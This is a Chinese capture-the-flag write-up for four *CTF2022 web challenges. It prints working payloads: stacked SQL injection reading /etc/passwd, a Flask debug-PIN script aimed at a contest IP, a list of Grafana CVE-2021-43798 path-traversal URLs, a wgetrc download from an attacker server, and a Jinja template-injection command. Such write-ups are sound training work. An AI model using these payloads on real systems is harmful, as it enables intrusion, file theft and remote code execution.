XCTF *CTF2022 Web Writeup

XCTF *CTF2022 Web Writeup

oh-my-notepro

登录没有做限制,仅与登录的用户名有关

登陆后创建文件,并进行访问view?note_id=XXXX,此时修改note_id的值会发生报错,并且进入到flaskDebug

image-20220417174814841

Debug反馈的报错中可知这里存在执行了SQL语句,测试后发现存在SQL注入

  1. Payload
  2. /view?note_id=-1'union select 1,2,3,4,5--+

这里flask是开启了Debug,存在计算PIN码导致任意代码执行的漏洞。因为存在SQL联合查询,一开始想直接通过load_file()函数直接读取文件,但发现不行,查看了@@secure_file_priv发现设置了目录

这里可以使用load data local infile进行文件读取,它是不受@@secure_file_priv,但是它有个条件是需要堆叠注入才行(不过这里是存在堆叠的)

  1. CREATE TABLE Dontt(fake VARCHAR(1000));load data local infile "/etc/passwd" into table Dontt FIELDS TERMINATED BY '\n';

新建一张表,然后将文件的内容导入表中,最后使用联合查询查看表中内容即可

接着读取文件计算PIN码,不过这里PIN码的计算是有区分的,Python3.8之前是使用MD5进行加密,之后是使用sha1进行加密

  1. 需要读取的文件
  2. 计算机当前用户: /etc/passwd
  3. Flask: /app/app.py
  4. 当前网络的mac地址的十进制: /sys/class/net/eth0/address
  5. 机器的ID: /proc/self/cgroup
  6. machine-id: /etc/machine-id

不过靶机每次重启只会更新/proc/self/cgroup/sys/class/net/eth0/address,所以编写脚本来快速获取PIN码

  1. import hashlib
  2. from itertools import chain
  3. import requests
  4. import re
  5. burp0_url = "http://121.37.153.47:5002/view?note_id=5kd3y85k2v7kzse27fn46p723i7t4jxp%27;CREATE%20TABLE%20Dontt(fake%20VARCHAR(1000));load%20data%20local%20infile%20%22/sys/class/net/eth0/address%22%20into%20table%20Dontt%20FIELDS%20TERMINATED%20BY%20%27\\n%27;load%20data%20local%20infile%20%22/proc/self/cgroup%22%20into%20table%20Dontt%20FIELDS%20TERMINATED%20BY%20%27\\n%27;--+"
  6. burp0_cookies = {"session": "eyJjc3JmX3Rva2VuIjoiZDY4N2FhZjBjMGJhYWZiZjVkOTY0ZGZiMjFiYTdmOTVmYmIyMGY0MSIsInVzZXJuYW1lIjoiYSJ9.YlqpVA.Fl8s8nedhPqsVRujiNg7h8ZgZp8"}
  7. burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://121.37.153.47:5002/index", "Upgrade-Insecure-Requests": "1"}
  8. requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
  9. burp1_url = "http://121.37.153.47:5002/view?note_id=5p%27union%20select%201,2,3,group_concat(fake),5%20from%20Dontt--+"
  10. res = requests.get(burp1_url, headers=burp0_headers, cookies=burp0_cookies).text
  11. #print(res)
  12. x = re.findall("(.{17}),12:devices:/docker/(\w{64})",res)
  13. mac = x[0][0]
  14. ip = x[0][1]
  15. probably_public_bits = [
  16. 'ctf',
  17. 'flask.app',
  18. 'Flask',
  19. '/usr/local/lib/python3.8/site-packages/flask/app.py'
  20. ]
  21. mac = mac.replace(':', '')
  22. mac = str(int(mac, base=16))
  23. private_bits = [
  24. mac,
  25. '1cc402dd0e11d5ae18db04a6de87223d' + ip
  26. ]
  27. h = hashlib.sha1()
  28. for bit in chain(probably_public_bits, private_bits):
  29. if not bit:
  30. continue
  31. if isinstance(bit, str):
  32. bit = bit.encode('utf-8')
  33. h.update(bit)
  34. h.update(b'cookiesalt')
  35. cookie_name = '__wzd' + h.hexdigest()[:20]
  36. num = None
  37. if num is None:
  38. h.update(b'pinsalt')
  39. num = ('%09d' % int(h.hexdigest(), 16))[:9]
  40. rv =None
  41. if rv is None:
  42. for group_size in 5, 4, 3:
  43. if len(num) % group_size == 0:
  44. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  45. for x in range(0, len(num), group_size))
  46. break
  47. else:
  48. rv = num
  49. print(rv)

注:此处发言不一定准确,如果有任何错误欢迎联系笔者纠正

这里的PIN码好像是只有第一个输入的才能使用,后面输入的不能执行代码只能报错

不知道是否为上述机制的问题,如果是的话这个静态环境的问题让人有点小闹心,笔者从下午弄到了凌晨才成功执行了代码

最后就是导入os库,然后执行命令

image-20220417020844827

image-20220417020859080

oh-my-lotto

给了Docker环境,有代码的题目真好

关键代码如下

  1. flag = os.getenv('flag')
  2. lotto_key = request.form.get('lotto_key') or ''
  3. lotto_value = request.form.get('lotto_value') or ''
  4. try:
  5. lotto_key = lotto_key.upper()
  6. except Exception as e:
  7. print(e)
  8. message = 'Lotto Error!'
  9. return render_template('lotto.html', message=message)
  10. if safe_check(lotto_key):
  11. os.environ[lotto_key] = lotto_value
  12. try:
  13. os.system('wget --content-disposition -N lotto')
  14. if os.path.exists("/app/lotto_result.txt"):
  15. lotto_result = open("/app/lotto_result.txt", 'rb').read()
  16. else:
  17. lotto_result = 'result'
  18. if os.path.exists("/app/guess/forecast.txt"):
  19. forecast = open("/app/guess/forecast.txt", 'rb').read()
  20. else:
  21. forecast = 'forecast'
  22. if forecast == lotto_result:
  23. return flag

可以修改一个环境变量的参数,然后会执行wget命令,最后比较/app/lotto_result.txt/app/guess/forecast.txt文件内容是否相等

如果不进行文件下载的话,/app/lotto_result.txt不存在,则它会用result作为替代,这样比较的就是一个固定值,而不用预测了

因为这里的wget是相对路径,他会去环境变量中找PATH从而确定绝对路径然后执行命令。这里只需要替换PATH值,导致wget执行失败

image-20220417195858017

然后就发现了一个大坑,Python3中bytesstr类型尽管值一样,类型不同仍然是False

image-20220417200156210

所以这里需要用到/result路由可以来解决,该路由的作用是查看前一次随机数

所以这里需要先让它生成一次随机数,然后查看随机数,接着再利用上述的方式即可

image-20220417200914217

查看随机数

image-20220417201136709

这里上传文件时需要注意,要把\r删点,不然两者依然是不相等的

最后修改PATH环境变量,获取flag

image-20220417020920307

oh-my-grafana

grafana版本是8.2.6,存在CVE-2021-43798任意文件读取的漏洞

这里需要一个存在的插件地址,受影响的插件大致如下

  1. /public/plugins/alertmanager/../../../../../../../../etc/passwd
  2. /public/plugins/grafana/../../../../../../../../etc/passwd
  3. /public/plugins/loki/../../../../../../../../etc/passwd
  4. /public/plugins/postgres/../../../../../../../../etc/passwd
  5. /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
  6. /public/plugins/mixed/../../../../../../../../etc/passwd
  7. /public/plugins/prometheus/../../../../../../../../etc/passwd
  8. /public/plugins/cloudwatch/../../../../../../../../etc/passwd
  9. /public/plugins/graphite/../../../../../../../../etc/passwd
  10. /public/plugins/mssql/../../../../../../../../etc/passwd
  11. /public/plugins/tempo/../../../../../../../../etc/passwd
  12. /public/plugins/dashboard/../../../../../../../../etc/passwd
  13. /public/plugins/influxdb/../../../../../../../../etc/passwd
  14. /public/plugins/mysql/../../../../../../../../etc/passwd
  15. /public/plugins/testdata/../../../../../../../../etc/passwd
  16. /public/plugins/elasticsearch/../../../../../../../../etc/passwd
  17. /public/plugins/jaeger/../../../../../../../../etc/passwd
  18. /public/plugins/opentsdb/../../../../../../../../etc/passwd
  19. /public/plugins/zipkin/../../../../../../../../etc/passwd
  20. /public/plugins/alertGroups/../../../../../../../../etc/passwd
  21. /public/plugins/bargauge/../../../../../../../../etc/passwd
  22. /public/plugins/debug/../../../../../../../../etc/passwd
  23. /public/plugins/graph/../../../../../../../../etc/passwd
  24. /public/plugins/live/../../../../../../../../etc/passwd
  25. /public/plugins/piechart/../../../../../../../../etc/passwd
  26. /public/plugins/status-history/../../../../../../../../etc/passwd
  27. /public/plugins/timeseries/../../../../../../../../etc/passwd
  28. /public/plugins/alertlist/../../../../../../../../etc/passwd
  29. /public/plugins/gauge/../../../../../../../../etc/passwd
  30. /public/plugins/heatmap/../../../../../../../../etc/passwd
  31. /public/plugins/logs/../../../../../../../../etc/passwd
  32. /public/plugins/pluginlist/../../../../../../../../etc/passwd
  33. /public/plugins/table/../../../../../../../../etc/passwd
  34. /public/plugins/welcome/../../../../../../../../etc/passwd
  35. /public/plugins/annolist/../../../../../../../../etc/passwd
  36. /public/plugins/canvas/../../../../../../../../etc/passwd
  37. /public/plugins/geomap/../../../../../../../../etc/passwd
  38. /public/plugins/histogram/../../../../../../../../etc/passwd
  39. /public/plugins/news/../../../../../../../../etc/passwd
  40. /public/plugins/stat/../../../../../../../../etc/passwd
  41. /public/plugins/table-old/../../../../../../../../etc/passwd
  42. /public/plugins/xychart/../../../../../../../../etc/passwd
  43. /public/plugins/barchart/../../../../../../../../etc/passwd
  44. /public/plugins/dashlist/../../../../../../../../etc/passwd
  45. /public/plugins/gettingstarted/../../../../../../../../etc/passwd
  46. /public/plugins/nodeGraph/../../../../../../../../etc/passwd
  47. /public/plugins/state-timeline/../../../../../../../../etc/passwd
  48. /public/plugins/text/../../../../../../../../etc/passwd

可以利用该漏洞读取/etc/grafana/grafana.ini获取admin_password进行登录

image-20220417202231910

接着可以看到一个Mysql的数据源

image-20220417202730619

然后因为是公共环境,点击输入框就会自己跳出相应的表名和列名,最后执行即可(这里应该蹭到车)

image-20220417020942210

oh-my-lotto-revenge

升级版,最主要的差别:这里即使两个文件相同也不会返回flag,所以出题人应该是想要让人Getshell获取flag

这里主要参考文章:https://www.gnu.org/software/wget/manual/wget.html

在其第6点说明了wget存在一个配置文件,可以利用该配置文件设置参数(这些参数可以在文档下面找到),wget执行时,会去加载配置文件的参数,该配置文件也可以由自己设置

  1. WGETRC = filename

这里主要用到的参数有两个

  1. input = http://ip:port/file
  2. output_document = templates/index.html

设置input为了让靶机去下载vps上的文件,output_document则是设置下载的文件该存在哪里,这里直接修改模板文件,由于没有进行过滤,直接用最简单的Payload即可

  1. {{lipsum.__globals__.__getitem__("os").popen("env").read()}}

将上面的内容存在vps上,并在当前文件夹中开启HTTP服务

image-20220417205703673

上传配置文件内容

最后修改WGETRC=/app/guess/forecast.txt,访问/获取flag

image-20220417021020093

这里一开始是想用post_file标签直接将/proc/self/environ文件外带出来的,但是测试发现并不行(不知道是不是权限的问题),但是进入Docker中是可以读取该文件的,求知道的师傅解答一下!!!

image-20220417210854970

  • 发表于 2022-04-19 11:34:05
  • 阅读 ( 6438 )
  • 分类:WEB安全

1 条评论

atao
atao

2 篇文章

站长统计